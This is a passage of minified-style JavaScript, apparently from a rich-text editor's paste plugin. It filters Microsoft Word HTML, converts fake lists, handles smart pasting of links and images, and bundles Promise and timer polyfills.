      html = filter(html, [/<!\[[^\]]+\]>/g]);
      walk(domParser.parse(html));
      return text;
    }
    function trimHtml(html) {
      function trimSpaces(all, s1, s2) {
        if (!s1 && !s2) {
          return ' ';
        }
        return '\xA0';
      }
      html = filter(html, [
        /^[\s\S]*<body[^>]*>\s*|\s*<\/body[^>]*>[\s\S]*$/ig,
        /<!--StartFragment-->|<!--EndFragment-->/g,
        [
          /( ?)<span class="Apple-converted-space">\u00a0<\/span>( ?)/g,
          trimSpaces
        ],
        /<br class="Apple-interchange-newline">/g,
        /<br>$/i
      ]);
      return html;
    }
    function createIdGenerator(prefix) {
      var count = 0;
      return function () {
        return prefix + count++;
      };
    }
    var isMsEdge = function () {
      return domGlobals.navigator.userAgent.indexOf(' Edge/') !== -1;
    };
    var Utils = {
      filter: filter,
      innerText: innerText,
      trimHtml: trimHtml,
      createIdGenerator: createIdGenerator,
      isMsEdge: isMsEdge
    };

    function isWordContent(content) {
      return /<font face="Times New Roman"|class="?Mso|style="[^"]*\bmso-|style='[^'']*\bmso-|w:WordDocument/i.test(content) || /class="OutlineElement/.test(content) || /id="?docs\-internal\-guid\-/.test(content);
    }
    function isNumericList(text) {
      var found, patterns;
      patterns = [
        /^[IVXLMCD]{1,2}\.[ \u00a0]/,
        /^[ivxlmcd]{1,2}\.[ \u00a0]/,
        /^[a-z]{1,2}[\.\)][ \u00a0]/,
        /^[A-Z]{1,2}[\.\)][ \u00a0]/,
        /^[0-9]+\.[ \u00a0]/,
        /^[\u3007\u4e00\u4e8c\u4e09\u56db\u4e94\u516d\u4e03\u516b\u4e5d]+\.[ \u00a0]/,
        /^[\u58f1\u5f10\u53c2\u56db\u4f0d\u516d\u4e03\u516b\u4e5d\u62fe]+\.[ \u00a0]/
      ];
      text = text.replace(/^[\u00a0 ]+/, '');
      global$4.each(patterns, function (pattern) {
        if (pattern.test(text)) {
          found = true;
          return false;
        }
      });
      return found;
    }
    function isBulletList(text) {
      return /^[\s\u00a0]*[\u2022\u00b7\u00a7\u25CF]\s*/.test(text);
    }
    function convertFakeListsToProperLists(node) {
      var currentListNode, prevListNode, lastLevel = 1;
      function getText(node) {
        var txt = '';
        if (node.type === 3) {
          return node.value;
        }
        if (node = node.firstChild) {
          do {
            txt += getText(node);
          } while (node = node.next);
        }
        return txt;
      }
      function trimListStart(node, regExp) {
        if (node.type === 3) {
          if (regExp.test(node.value)) {
            node.value = node.value.replace(regExp, '');
            return false;
          }
        }
        if (node = node.firstChild) {
          do {
            if (!trimListStart(node, regExp)) {
              return false;
            }
          } while (node = node.next);
        }
        return true;
      }
      function removeIgnoredNodes(node) {
        if (node._listIgnore) {
          node.remove();
          return;
        }
        if (node = node.firstChild) {
          do {
            removeIgnoredNodes(node);
          } while (node = node.next);
        }
      }
      function convertParagraphToLi(paragraphNode, listName, start) {
        var level = paragraphNode._listLevel || lastLevel;
        if (level !== lastLevel) {
          if (level < lastLevel) {
            if (currentListNode) {
              currentListNode = currentListNode.parent.parent;
            }
          } else {
            prevListNode = currentListNode;
            currentListNode = null;
          }
        }
        if (!currentListNode || currentListNode.name !== listName) {
          prevListNode = prevListNode || currentListNode;
          currentListNode = new global$9(listName, 1);
          if (start > 1) {
            currentListNode.attr('start', '' + start);
          }
          paragraphNode.wrap(currentListNode);
        } else {
          currentListNode.append(paragraphNode);
        }
        paragraphNode.name = 'li';
        if (level > lastLevel && prevListNode) {
          prevListNode.lastChild.append(currentListNode);
        }
        lastLevel = level;
        removeIgnoredNodes(paragraphNode);
        trimListStart(paragraphNode, /^\u00a0+/);
        trimListStart(paragraphNode, /^\s*([\u2022\u00b7\u00a7\u25CF]|\w+\.)/);
        trimListStart(paragraphNode, /^\u00a0+/);
      }
      var elements = [];
      var child = node.firstChild;
      while (typeof child !== 'undefined' && child !== null) {
        elements.push(child);
        child = child.walk();
        if (child !== null) {
          while (typeof child !== 'undefined' && child.parent !== node) {
            child = child.walk();
          }
        }
      }
      for (var i = 0; i < elements.length; i++) {
        node = elements[i];
        if (node.name === 'p' && node.firstChild) {
          var nodeText = getText(node);
          if (isBulletList(nodeText)) {
            convertParagraphToLi(node, 'ul');
            continue;
          }
          if (isNumericList(nodeText)) {
            var matches = /([0-9]+)\./.exec(nodeText);
            var start = 1;
            if (matches) {
              start = parseInt(matches[1], 10);
            }
            convertParagraphToLi(node, 'ol', start);
            continue;
          }
          if (node._listLevel) {
            convertParagraphToLi(node, 'ul', 1);
            continue;
          }
          currentListNode = null;
        } else {
          prevListNode = currentListNode;
          currentListNode = null;
        }
      }
    }
    function filterStyles(editor, validStyles, node, styleValue) {
      var outputStyles = {}, matches;
      var styles = editor.dom.parseStyle(styleValue);
      global$4.each(styles, function (value, name) {
        switch (name) {
        case 'mso-list':
          matches = /\w+ \w+([0-9]+)/i.exec(styleValue);
          if (matches) {
            node._listLevel = parseInt(matches[1], 10);
          }
          if (/Ignore/i.test(value) && node.firstChild) {
            node._listIgnore = true;
            node.firstChild._listIgnore = true;
          }
          break;
        case 'horiz-align':
          name = 'text-align';
          break;
        case 'vert-align':
          name = 'vertical-align';
          break;
        case 'font-color':
        case 'mso-foreground':
          name = 'color';
          break;
        case 'mso-background':
        case 'mso-highlight':
          name = 'background';
          break;
        case 'font-weight':
        case 'font-style':
          if (value !== 'normal') {
            outputStyles[name] = value;
          }
          return;
        case 'mso-element':
          if (/^(comment|comment-list)$/i.test(value)) {
            node.remove();
            return;
          }
          break;
        }
        if (name.indexOf('mso-comment') === 0) {
          node.remove();
          return;
        }
        if (name.indexOf('mso-') === 0) {
          return;
        }
        if (Settings.getRetainStyleProps(editor) === 'all' || validStyles && validStyles[name]) {
          outputStyles[name] = value;
        }
      });
      if (/(bold)/i.test(outputStyles['font-weight'])) {
        delete outputStyles['font-weight'];
        node.wrap(new global$9('b', 1));
      }
      if (/(italic)/i.test(outputStyles['font-style'])) {
        delete outputStyles['font-style'];
        node.wrap(new global$9('i', 1));
      }
      outputStyles = editor.dom.serializeStyle(outputStyles, node.name);
      if (outputStyles) {
        return outputStyles;
      }
      return null;
    }
    var filterWordContent = function (editor, content) {
      var retainStyleProperties, validStyles;
      retainStyleProperties = Settings.getRetainStyleProps(editor);
      if (retainStyleProperties) {
        validStyles = global$4.makeMap(retainStyleProperties.split(/[, ]/));
      }
      content = Utils.filter(content, [
        /<br class="?Apple-interchange-newline"?>/gi,
        /<b[^>]+id="?docs-internal-[^>]*>/gi,
        /<!--[\s\S]+?-->/gi,
        /<(!|script[^>]*>.*?<\/script(?=[>\s])|\/?(\?xml(:\w+)?|img|meta|link|style|\w:\w+)(?=[\s\/>]))[^>]*>/gi,
        [
          /<(\/?)s>/gi,
          '<$1strike>'
        ],
        [
          /&nbsp;/gi,
          '\xA0'
        ],
        [
          /<span\s+style\s*=\s*"\s*mso-spacerun\s*:\s*yes\s*;?\s*"\s*>([\s\u00a0]*)<\/span>/gi,
          function (str, spaces) {
            return spaces.length > 0 ? spaces.replace(/./, ' ').slice(Math.floor(spaces.length / 2)).split('').join('\xA0') : '';
          }
        ]
      ]);
      var validElements = Settings.getWordValidElements(editor);
      var schema = global$a({
        valid_elements: validElements,
        valid_children: '-li[p]'
      });
      global$4.each(schema.elements, function (rule) {
        if (!rule.attributes.class) {
          rule.attributes.class = {};
          rule.attributesOrder.push('class');
        }
        if (!rule.attributes.style) {
          rule.attributes.style = {};
          rule.attributesOrder.push('style');
        }
      });
      var domParser = global$7({}, schema);
      domParser.addAttributeFilter('style', function (nodes) {
        var i = nodes.length, node;
        while (i--) {
          node = nodes[i];
          node.attr('style', filterStyles(editor, validStyles, node, node.attr('style')));
          if (node.name === 'span' && node.parent && !node.attributes.length) {
            node.unwrap();
          }
        }
      });
      domParser.addAttributeFilter('class', function (nodes) {
        var i = nodes.length, node, className;
        while (i--) {
          node = nodes[i];
          className = node.attr('class');
          if (/^(MsoCommentReference|MsoCommentText|msoDel)$/i.test(className)) {
            node.remove();
          }
          node.attr('class', null);
        }
      });
      domParser.addNodeFilter('del', function (nodes) {
        var i = nodes.length;
        while (i--) {
          nodes[i].remove();
        }
      });
      domParser.addNodeFilter('a', function (nodes) {
        var i = nodes.length, node, href, name;
        while (i--) {
          node = nodes[i];
          href = node.attr('href');
          name = node.attr('name');
          if (href && href.indexOf('#_msocom_') !== -1) {
            node.remove();
            continue;
          }
          if (href && href.indexOf('file://') === 0) {
            href = href.split('#')[1];
            if (href) {
              href = '#' + href;
            }
          }
          if (!href && !name) {
            node.unwrap();
          } else {
            if (name && !/^_?(?:toc|edn|ftn)/i.test(name)) {
              node.unwrap();
              continue;
            }
            node.attr({
              href: href,
              name: name
            });
          }
        }
      });
      var rootNode = domParser.parse(content);
      if (Settings.shouldConvertWordFakeLists(editor)) {
        convertFakeListsToProperLists(rootNode);
      }
      content = global$8({ validate: editor.settings.validate }, schema).serialize(rootNode);
      return content;
    };
    var preProcess = function (editor, content) {
      return Settings.shouldUseDefaultFilters(editor) ? filterWordContent(editor, content) : content;
    };
    var WordFilter = {
      preProcess: preProcess,
      isWordContent: isWordContent
    };

    var preProcess$1 = function (editor, html) {
      var parser = global$7({}, editor.schema);
      parser.addNodeFilter('meta', function (nodes) {
        global$4.each(nodes, function (node) {
          return node.remove();
        });
      });
      var fragment = parser.parse(html, {
        forced_root_block: false,
        isRootContent: true
      });
      return global$8({ validate: editor.settings.validate }, editor.schema).serialize(fragment);
    };
    var processResult = function (content, cancelled) {
      return {
        content: content,
        cancelled: cancelled
      };
    };
    var postProcessFilter = function (editor, html, internal, isWordHtml) {
      var tempBody = editor.dom.create('div', { style: 'display:none' }, html);
      var postProcessArgs = Events.firePastePostProcess(editor, tempBody, internal, isWordHtml);
      return processResult(postProcessArgs.node.innerHTML, postProcessArgs.isDefaultPrevented());
    };
    var filterContent = function (editor, content, internal, isWordHtml) {
      var preProcessArgs = Events.firePastePreProcess(editor, content, internal, isWordHtml);
      var filteredContent = preProcess$1(editor, preProcessArgs.content);
      if (editor.hasEventListeners('PastePostProcess') && !preProcessArgs.isDefaultPrevented()) {
        return postProcessFilter(editor, filteredContent, internal, isWordHtml);
      } else {
        return processResult(filteredContent, preProcessArgs.isDefaultPrevented());
      }
    };
    var process = function (editor, html, internal) {
      var isWordHtml = WordFilter.isWordContent(html);
      var content = isWordHtml ? WordFilter.preProcess(editor, html) : html;
      return filterContent(editor, content, internal, isWordHtml);
    };
    var ProcessFilters = { process: process };

    var pasteHtml = function (editor, html) {
      editor.insertContent(html, {
        merge: Settings.shouldMergeFormats(editor),
        paste: true
      });
      return true;
    };
    var isAbsoluteUrl = function (url) {
      return /^https?:\/\/[\w\?\-\/+=.&%@~#]+$/i.test(url);
    };
    var isImageUrl = function (url) {
      return isAbsoluteUrl(url) && /.(gif|jpe?g|png)$/.test(url);
    };
    var createImage = function (editor, url, pasteHtmlFn) {
      editor.undoManager.extra(function () {
        pasteHtmlFn(editor, url);
      }, function () {
        editor.insertContent('<img src="' + url + '">');
      });
      return true;
    };
    var createLink = function (editor, url, pasteHtmlFn) {
      editor.undoManager.extra(function () {
        pasteHtmlFn(editor, url);
      }, function () {
        editor.execCommand('mceInsertLink', false, url);
      });
      return true;
    };
    var linkSelection = function (editor, html, pasteHtmlFn) {
      return editor.selection.isCollapsed() === false && isAbsoluteUrl(html) ? createLink(editor, html, pasteHtmlFn) : false;
    };
    var insertImage = function (editor, html, pasteHtmlFn) {
      return isImageUrl(html) ? createImage(editor, html, pasteHtmlFn) : false;
    };
    var smartInsertContent = function (editor, html) {
      global$4.each([
        linkSelection,
        insertImage,
        pasteHtml
      ], function (action) {
        return action(editor, html, pasteHtml) !== true;
      });
    };
    var insertContent = function (editor, html) {
      if (Settings.isSmartPasteEnabled(editor) === false) {
        pasteHtml(editor, html);
      } else {
        smartInsertContent(editor, html);
      }
    };
    var SmartPaste = {
      isImageUrl: isImageUrl,
      isAbsoluteUrl: isAbsoluteUrl,
      insertContent: insertContent
    };

    var noop = function () {
    };
    var constant = function (value) {
      return function () {
        return value;
      };
    };
    function curry(fn) {
      var initialArgs = [];
      for (var _i = 1; _i < arguments.length; _i++) {
        initialArgs[_i - 1] = arguments[_i];
      }
      return function () {
        var restArgs = [];
        for (var _i = 0; _i < arguments.length; _i++) {
          restArgs[_i] = arguments[_i];
        }
        var all = initialArgs.concat(restArgs);
        return fn.apply(null, all);
      };
    }
    var never = constant(false);
    var always = constant(true);

    var none = function () {
      return NONE;
    };
    var NONE = function () {
      var eq = function (o) {
        return o.isNone();
      };
      var call = function (thunk) {
        return thunk();
      };
      var id = function (n) {
        return n;
      };
      var me = {
        fold: function (n, s) {
          return n();
        },
        is: never,
        isSome: never,
        isNone: always,
        getOr: id,
        getOrThunk: call,
        getOrDie: function (msg) {
          throw new Error(msg || 'error: getOrDie called on none.');
        },
        getOrNull: constant(null),
        getOrUndefined: constant(undefined),
        or: id,
        orThunk: call,
        map: none,
        each: noop,
        bind: none,
        exists: never,
        forall: always,
        filter: none,
        equals: eq,
        equals_: eq,
        toArray: function () {
          return [];
        },
        toString: constant('none()')
      };
      if (Object.freeze) {
        Object.freeze(me);
      }
      return me;
    }();
    var some = function (a) {
      var constant_a = constant(a);
      var self = function () {
        return me;
      };
      var bind = function (f) {
        return f(a);
      };
      var me = {
        fold: function (n, s) {
          return s(a);
        },
        is: function (v) {
          return a === v;
        },
        isSome: always,
        isNone: never,
        getOr: constant_a,
        getOrThunk: constant_a,
        getOrDie: constant_a,
        getOrNull: constant_a,
        getOrUndefined: constant_a,
        or: self,
        orThunk: self,
        map: function (f) {
          return some(f(a));
        },
        each: function (f) {
          f(a);
        },
        bind: bind,
        exists: bind,
        forall: bind,
        filter: function (f) {
          return f(a) ? me : NONE;
        },
        toArray: function () {
          return [a];
        },
        toString: function () {
          return 'some(' + a + ')';
        },
        equals: function (o) {
          return o.is(a);
        },
        equals_: function (o, elementEq) {
          return o.fold(never, function (b) {
            return elementEq(a, b);
          });
        }
      };
      return me;
    };
    var from = function (value) {
      return value === null || value === undefined ? NONE : some(value);
    };
    var Option = {
      some: some,
      none: none,
      from: from
    };

    var typeOf = function (x) {
      if (x === null) {
        return 'null';
      }
      var t = typeof x;
      if (t === 'object' && (Array.prototype.isPrototypeOf(x) || x.constructor && x.constructor.name === 'Array')) {
        return 'array';
      }
      if (t === 'object' && (String.prototype.isPrototypeOf(x) || x.constructor && x.constructor.name === 'String')) {
        return 'string';
      }
      return t;
    };
    var isType = function (type) {
      return function (value) {
        return typeOf(value) === type;
      };
    };
    var isFunction = isType('function');

    var nativeSlice = Array.prototype.slice;
    var map = function (xs, f) {
      var len = xs.length;
      var r = new Array(len);
      for (var i = 0; i < len; i++) {
        var x = xs[i];
        r[i] = f(x, i);
      }
      return r;
    };
    var each = function (xs, f) {
      for (var i = 0, len = xs.length; i < len; i++) {
        var x = xs[i];
        f(x, i);
      }
    };
    var filter$1 = function (xs, pred) {
      var r = [];
      for (var i = 0, len = xs.length; i < len; i++) {
        var x = xs[i];
        if (pred(x, i)) {
          r.push(x);
        }
      }
      return r;
    };
    var from$1 = isFunction(Array.from) ? Array.from : function (x) {
      return nativeSlice.call(x);
    };

    var exports$1 = {}, module = { exports: exports$1 };
    (function (define, exports, module, require) {
      (function (f) {
        if (typeof exports === 'object' && typeof module !== 'undefined') {
          module.exports = f();
        } else if (typeof define === 'function' && define.amd) {
          define([], f);
        } else {
          var g;
          if (typeof window !== 'undefined') {
            g = window;
          } else if (typeof global !== 'undefined') {
            g = global;
          } else if (typeof self !== 'undefined') {
            g = self;
          } else {
            g = this;
          }
          g.EphoxContactWrapper = f();
        }
      }(function () {
        return function () {
          function r(e, n, t) {
            function o(i, f) {
              if (!n[i]) {
                if (!e[i]) {
                  var c = 'function' == typeof require && require;
                  if (!f && c)
                    return c(i, !0);
                  if (u)
                    return u(i, !0);
                  var a = new Error('Cannot find module \'' + i + '\'');
                  throw a.code = 'MODULE_NOT_FOUND', a;
                }
                var p = n[i] = { exports: {} };
                e[i][0].call(p.exports, function (r) {
                  var n = e[i][1][r];
                  return o(n || r);
                }, p, p.exports, r, e, n, t);
              }
              return n[i].exports;
            }
            for (var u = 'function' == typeof require && require, i = 0; i < t.length; i++)
              o(t[i]);
            return o;
          }
          return r;
        }()({
          1: [
            function (require, module, exports) {
              var process = module.exports = {};
              var cachedSetTimeout;
              var cachedClearTimeout;
              function defaultSetTimout() {
                throw new Error('setTimeout has not been defined');
              }
              function defaultClearTimeout() {
                throw new Error('clearTimeout has not been defined');
              }
              (function () {
                try {
                  if (typeof setTimeout === 'function') {
                    cachedSetTimeout = setTimeout;
                  } else {
                    cachedSetTimeout = defaultSetTimout;
                  }
                } catch (e) {
                  cachedSetTimeout = defaultSetTimout;
                }
                try {
                  if (typeof clearTimeout === 'function') {
                    cachedClearTimeout = clearTimeout;
                  } else {
                    cachedClearTimeout = defaultClearTimeout;
                  }
                } catch (e) {
                  cachedClearTimeout = defaultClearTimeout;
                }
              }());
              function runTimeout(fun) {
                if (cachedSetTimeout === setTimeout) {
                  return setTimeout(fun, 0);
                }
                if ((cachedSetTimeout === defaultSetTimout || !cachedSetTimeout) && setTimeout) {
                  cachedSetTimeout = setTimeout;
                  return setTimeout(fun, 0);
                }
                try {
                  return cachedSetTimeout(fun, 0);
                } catch (e) {
                  try {
                    return cachedSetTimeout.call(null, fun, 0);
                  } catch (e) {
                    return cachedSetTimeout.call(this, fun, 0);
                  }
                }
              }
              function runClearTimeout(marker) {
                if (cachedClearTimeout === clearTimeout) {
                  return clearTimeout(marker);
                }
                if ((cachedClearTimeout === defaultClearTimeout || !cachedClearTimeout) && clearTimeout) {
                  cachedClearTimeout = clearTimeout;
                  return clearTimeout(marker);
                }
                try {
                  return cachedClearTimeout(marker);
                } catch (e) {
                  try {
                    return cachedClearTimeout.call(null, marker);
                  } catch (e) {
                    return cachedClearTimeout.call(this, marker);
                  }
                }
              }
              var queue = [];
              var draining = false;
              var currentQueue;
              var queueIndex = -1;
              function cleanUpNextTick() {
                if (!draining || !currentQueue) {
                  return;
                }
                draining = false;
                if (currentQueue.length) {
                  queue = currentQueue.concat(queue);
                } else {
                  queueIndex = -1;
                }
                if (queue.length) {
                  drainQueue();
                }
              }
              function drainQueue() {
                if (draining) {
                  return;
                }
                var timeout = runTimeout(cleanUpNextTick);
                draining = true;
                var len = queue.length;
                while (len) {
                  currentQueue = queue;
                  queue = [];
                  while (++queueIndex < len) {
                    if (currentQueue) {
                      currentQueue[queueIndex].run();
                    }
                  }
                  queueIndex = -1;
                  len = queue.length;
                }
                currentQueue = null;
                draining = false;
                runClearTimeout(timeout);
              }
              process.nextTick = function (fun) {
                var args = new Array(arguments.length - 1);
                if (arguments.length > 1) {
                  for (var i = 1; i < arguments.length; i++) {
                    args[i - 1] = arguments[i];
                  }
                }
                queue.push(new Item(fun, args));
                if (queue.length === 1 && !draining) {
                  runTimeout(drainQueue);
                }
              };
              function Item(fun, array) {
                this.fun = fun;
                this.array = array;
              }
              Item.prototype.run = function () {
                this.fun.apply(null, this.array);
              };
              process.title = 'browser';
              process.browser = true;
              process.env = {};
              process.argv = [];
              process.version = '';
              process.versions = {};
              function noop() {
              }
              process.on = noop;
              process.addListener = noop;
              process.once = noop;
              process.off = noop;
              process.removeListener = noop;
              process.removeAllListeners = noop;
              process.emit = noop;
              process.prependListener = noop;
              process.prependOnceListener = noop;
              process.listeners = function (name) {
                return [];
              };
              process.binding = function (name) {
                throw new Error('process.binding is not supported');
              };
              process.cwd = function () {
                return '/';
              };
              process.chdir = function (dir) {
                throw new Error('process.chdir is not supported');
              };
              process.umask = function () {
                return 0;
              };
            },
            {}
          ],
          2: [
            function (require, module, exports) {
              (function (setImmediate) {
                (function (root) {
                  var setTimeoutFunc = setTimeout;
                  function noop() {
                  }
                  function bind(fn, thisArg) {
                    return function () {
                      fn.apply(thisArg, arguments);
                    };
                  }
                  function Promise(fn) {
                    if (typeof this !== 'object')
                      throw new TypeError('Promises must be constructed via new');
                    if (typeof fn !== 'function')
                      throw new TypeError('not a function');
                    this._state = 0;
                    this._handled = false;
                    this._value = undefined;
                    this._deferreds = [];
                    doResolve(fn, this);
                  }
                  function handle(self, deferred) {
                    while (self._state === 3) {
                      self = self._value;
                    }
                    if (self._state === 0) {
                      self._deferreds.push(deferred);
                      return;
                    }
                    self._handled = true;
                    Promise._immediateFn(function () {
                      var cb = self._state === 1 ? deferred.onFulfilled : deferred.onRejected;
                      if (cb === null) {
                        (self._state === 1 ? resolve : reject)(deferred.promise, self._value);
                        return;
                      }
                      var ret;
                      try {
                        ret = cb(self._value);
                      } catch (e) {
                        reject(deferred.promise, e);
                        return;
                      }
                      resolve(deferred.promise, ret);
                    });
                  }
                  function resolve(self, newValue) {
                    try {
                      if (newValue === self)
                        throw new TypeError('A promise cannot be resolved with itself.');
                      if (newValue && (typeof newValue === 'object' || typeof newValue === 'function')) {
                        var then = newValue.then;
                        if (newValue instanceof Promise) {
                          self._state = 3;
                          self._value = newValue;
                          finale(self);
                          return;
                        } else if (typeof then === 'function') {
                          doResolve(bind(then, newValue), self);
                          return;
                        }
                      }
                      self._state = 1;
                      self._value = newValue;
                      finale(self);
                    } catch (e) {
                      reject(self, e);
                    }
                  }
                  function reject(self, newValue) {
                    self._state = 2;
                    self._value = newValue;
                    finale(self);
                  }
                  function finale(self) {
                    if (self._state === 2 && self._deferreds.length === 0) {
                      Promise._immediateFn(function () {
                        if (!self._handled) {
                          Promise._unhandledRejectionFn(self._value);
                        }
                      });
                    }
                    for (var i = 0, len = self._deferreds.length; i < len; i++) {
                      handle(self, self._deferreds[i]);
                    }
                    self._deferreds = null;
                  }
                  function Handler(onFulfilled, onRejected, promise) {
                    this.onFulfilled = typeof onFulfilled === 'function' ? onFulfilled : null;
                    this.onRejected = typeof onRejected === 'function' ? onRejected : null;
                    this.promise = promise;
                  }
                  function doResolve(fn, self) {
                    var done = false;
                    try {
                      fn(function (value) {
                        if (done)
                          return;
                        done = true;
                        resolve(self, value);
                      }, function (reason) {
                        if (done)
                          return;
                        done = true;
                        reject(self, reason);
                      });
                    } catch (ex) {
                      if (done)
                        return;
                      done = true;
                      reject(self, ex);
                    }
                  }
                  Promise.prototype['catch'] = function (onRejected) {
                    return this.then(null, onRejected);
                  };
                  Promise.prototype.then = function (onFulfilled, onRejected) {
                    var prom = new this.constructor(noop);
                    handle(this, new Handler(onFulfilled, onRejected, prom));
                    return prom;
                  };
                  Promise.all = function (arr) {
                    var args = Array.prototype.slice.call(arr);
                    return new Promise(function (resolve, reject) {
                      if (args.length === 0)
                        return resolve([]);
                      var remaining = args.length;
                      function res(i, val) {
                        try {
                          if (val && (typeof val === 'object' || typeof val === 'function')) {
                            var then = val.then;
                            if (typeof then === 'function') {
                              then.call(val, function (val) {
                                res(i, val);
                              }, reject);
                              return;
                            }
                          }
                          args[i] = val;
                          if (--remaining === 0) {
                            resolve(args);
                          }
                        } catch (ex) {
                          reject(ex);
                        }
                      }
                      for (var i = 0; i < args.length; i++) {
                        res(i, args[i]);
                      }
                    });
                  };
                  Promise.resolve = function (value) {
                    if (value && typeof value === 'object' && value.constructor === Promise) {
                      return value;
                    }
                    return new Promise(function (resolve) {
                      resolve(value);
                    });
                  };
                  Promise.reject = function (value) {
                    return new Promise(function (resolve, reject) {
                      reject(value);
                    });
                  };
                  Promise.race = function (values) {
                    return new Promise(function (resolve, reject) {
                      for (var i = 0, len = values.length; i < len; i++) {
                        values[i].then(resolve, reject);
                      }
                    });
                  };
                  Promise._immediateFn = typeof setImmediate === 'function' ? function (fn) {
                    setImmediate(fn);
                  } : function (fn) {
                    setTimeoutFunc(fn, 0);
                  };
                  Promise._unhandledRejectionFn = function _unhandledRejectionFn(err) {
                    if (typeof console !== 'undefined' && console) {
                      console.warn('Possible Unhandled Promise Rejection:', err);
                    }
                  };
                  Promise._setImmediateFn = function _setImmediateFn(fn) {
                    Promise._immediateFn = fn;
                  };
                  Promise._setUnhandledRejectionFn = function _setUnhandledRejectionFn(fn) {
                    Promise._unhandledRejectionFn = fn;
                  };
                  if (typeof module !== 'undefined' && module.exports) {
                    module.exports = Promise;
                  } else if (!root.Promise) {
                    root.Promise = Promise;
                  }
                }(this));
              }.call(this, require('timers').setImmediate));
            },
            { 'timers': 3 }
          ],
          3: [
            function (require, module, exports) {
              (function (setImmediate, clearImmediate) {
                var nextTick = require('process/browser.js').nextTick;
                var apply = Function.prototype.apply;
                var slice = Array.prototype.slice;
                var immediateIds = {};
                var nextImmediateId = 0;
                exports.setTimeout = function () {
                  return new Timeout(apply.call(setTimeout, window, arguments), clearTimeout);
                };
                exports.setInterval = function () {
                  return new Timeout(apply.call(setInterval, window, arguments), clearInterval);
                };
                exports.clearTimeout = exports.clearInterval = function (timeout) {
                  timeout.close();
                };
                function Timeout(id, clearFn) {
                  this._id = id;
                  this._clearFn = clearFn;
                }
                Timeout.prototype.unref = Timeout.prototype.ref = function () {
                };
                Timeout.prototype.close = function () {
                  this._clearFn.call(window, this._id);
                };
                exports.enroll = function (item, msecs) {
                  clearTimeout(item._idleTimeoutId);
                  item._idleTimeout = msecs;
                };
                exports.unenroll = function (item) {
                  clearTimeout(item._idleTimeoutId);
                  item._idleTimeout = -1;
                };
                exports._unrefActive = exports.active = function (item) {
                  clearTimeout(item._idleTimeoutId);
                  var msecs = item._idleTimeout;
                  if (msecs >= 0) {
                    item._idleTimeoutId = setTimeout(function onTimeout() {
                      if (item._onTimeout)
                        item._onTimeout();
                    }, msecs);
                  }
                };
                exports.setImmediate = typeof setImmediate === 'function' ? setImmediate : function (fn) {
                  var id = nextImmediateId++;
                  var args = arguments.length < 2 ? false : slice.call(arguments, 1);
                  immediateIds[id] = true;
                  nextTick(function onNextTick() {
                    if (immediateIds[id]) {
                      if (args) {
                        fn.apply(null, args);
                      } else {
                        fn.call(null);
                      }
                      exports.clearImmediate(id);
                    }
                  });
                  return id;
                };
                exports.clearImmediate = typeof clearImmediate === 'function' ? clearImmediate : function (id) {
                  delete immediateIds[id];
                };
              }.call(this, require('timers').setImmediate, require('timers').clearImmediate));
            },
            {
              'process/browser.js': 1,
              'timers': 3
            }
          ],
          4: [
            function (require, module, exports) {
              var promisePolyfill = require('promise-polyfill');
              var Global = function () {
                if (typeof window !== 'undefined') {
                  return window;
                } else {
                  return Function('return this;')();
                }
              }();
              module.exports = { boltExport: Global.Promise || promisePolyfill };
            },
            { 'promise-polyfill': 2 }
          ]
        }, {}, [4])(4);
      }));
    }(undefined, exports$1, module, undefined));
    var Promise = module.exports.boltExport;

    var nu = function (baseFn) {
      var data = Option.none();
      var callbacks = [];
      var map = function (f) {
        return nu(function (nCallback) {
          get(function (data) {
            nCallback(f(data));
          });
        });
      };
      var get = function (nCallback) {
        if (isReady()) {
          call(nCallback);
        } else {
          callbacks.push(nCallback);
        }
      };
      var set = function (x) {
        data = Option.some(x);
        run(callbacks);
        callbacks = [];
      };
      var isReady = function () {
        return data.isSome();
      };
      var run = function (cbs) {
        each(cbs, call);
      };
      var call = function (cb) {
        data.each(function (x) {
          domGlobals.setTimeout(function () {
            cb(x);
          }, 0);
        });
      };
      baseFn(set);
      return {
        get: get,
        map: map,
        isReady: isReady
      };
    };
    var pure = function (a) {
      return nu(function (callback) {
        callback(a);
      });
    };
    var LazyValue = {
      nu: nu,
      pure: pure
    };

    var errorReporter = function (err) {
      domGlobals.setTimeout(function () {
        throw err;
      }, 0);
    };
    var make = function (run) {
      var get = function (callback) {
        run().then(callback, errorReporter);
      };
      var map = function (fab) {
        return make(function () {
          return run().then(fab);
        });
      };
      var bind = function (aFutureB) {
        return make(function () {
          return run().then(function (v) {
            return aFutureB(v).toPromise();
          });
        });
      };
      var anonBind = function (futureB) {
        return make(function () {
          return run().then(function () {
            return futureB.toPromise();
          });
        });
      };
      var toLazy = function () {
        return LazyValue.nu(get);
      };
      var toCached = function () {
        var cache = null;
        return make(function () {
          if (cache === null) {
            cache = run();
          }
          return cache;
        });
      };
      var toPromise = run;
      return {
        map: map,
        bind: bind,
        anonBind: anonBind,
        toLazy: toLazy,
        toCached: toCached,
        toPromise: toPromise,
        get: get
      };
    };
    var nu$1 = function (baseFn) {
      return make(function () {
        return new Promise(baseFn);
      });
    };
    var pure$1 = function (a) {
      return make(function () {
        return Promise.resolve(a);
      });
    };
    var Future = {
      nu: nu$1,
      pure: pure$1
    };

    var par = function (asyncValues, nu) {
      return nu(function (callback) {
        var r = [];
        var count = 0;
        var cb = function (i) {
          return function (value) {
            r[i] = value;
            count++;
            if (count >= asyncValues.length) {
              callback(r);
            }
          };
        };
        if (asyncValues.length === 0) {
          callback([]);
        } else {
          each(asyncValues, function (asyncValue, i) {
            asyncValue.get(cb(i));
          });
        }
      });
    };

    var par$1 = function (futures) {
      return par(futures, Future.nu);
    };
    var traverse = function (array, fn) {
      return par$1(map(array, fn));
    };
    var mapM = traverse;

    var value = function () {
      var subject = Cell(Option.none());
      var clear = function () {
        subject.set(Option.none());
      };
      var set = function (s) {
        subject.set(Option.some(s));
      };
      var on = function (f) {
        subject.get().each(f);
      };
      var isSet = function () {
        return subject.get().isSome();
      };
      return {
        clear: clear,
        set: set,
        isSet: isSet,
        on: on
      };
    };

    var pasteHtml$1 = function (editor, html, internalFlag) {
      var internal = internalFlag ? internalFlag : InternalHtml.isMarked(html);
      var args = ProcessFilters.process(editor, InternalHtml.unmark(html), internal);
      if (args.cancelled === false) {
        SmartPaste.insertContent(editor, args.content);
      }
    };
    var pasteText = function (editor, text) {
      text = editor.dom.encode(text).replace(/\r\n/g, '\n');
      text = Newlines.convert(text, editor.settings.forced_root_block, editor.settings.forced_root_block_attrs);
      pasteHtml$1(editor, text, false);
    };
    var getDataTransferItems = function (dataTransfer) {
      var items = {};
